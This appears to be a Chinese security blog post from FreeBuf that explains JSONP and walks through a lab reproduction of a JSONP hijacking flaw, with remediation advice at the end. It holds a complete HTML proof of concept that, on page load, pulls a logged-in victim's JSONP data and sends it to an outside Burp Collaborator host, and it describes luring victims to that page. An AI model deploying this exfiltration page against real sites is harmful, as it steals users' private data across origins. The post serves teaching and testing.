小王的黑色短裤
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

一、jsonp介绍
Jsonp是通过script标签加载数据的方式去获取数据当作JS代码来执行,前提在页面上声明一个函数,函数名通过接口传参的方式传给后台,后台解析到函数名后在原始数据上[包裹]这个函数名,发送给前端,换句话说,JSONP
需要对应接口的后端的配合才能实现,要注意JSONP只支持GET请求方式,不支持POST请求。
script标签可以加载其他域下的js,我们可以利用这个特性实现从其他域下获取数据,通过<script src="http://127.0.0.1:8080/getNews"></script>
这时会向接口发送获取数据,获取数据后作为js来执行,但是这个数据是JSON格式的,直接作为js运行的话如何去得到这个数据去操作呢?这时候我们可以在src后面加上一个回调函数showData。
<script src="http://127.0.0.1:8080/getNews?callback=showData"></script>
二、jsonp利用:获取受害者的数据
1、构造代码
2、获取数据
三、漏洞复现Plus版
1、确认漏洞。
2、打开Burp Collaborator client。
3、copy值到POC中。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body onload="load()">
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
function load()
{
$.ajax({
url: "http://127.0.0.1/DoraBox-master/csrf/jsonp.php?callback=aaa",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定服务器返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "aaa",
success: function (data) {
$.ajax({
type: 'get',
url: 'http://rkf9uvcdj9yppkif35vovclyepkf84.oastify.com/',
data: JSON.stringify(data)
});
}
})
}
</script>
</body>
</html>
4、我们将恶意脚本发送到受害者,只要受害者登录有漏洞的这个网站,并且点击了这个恶意脚本,我们就能返回受害者的敏感信息。
5、成功获取敏感信息。
四、修复建议
json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用xmlhttp
的方式作为数据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏感的数据获取做权限认证。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)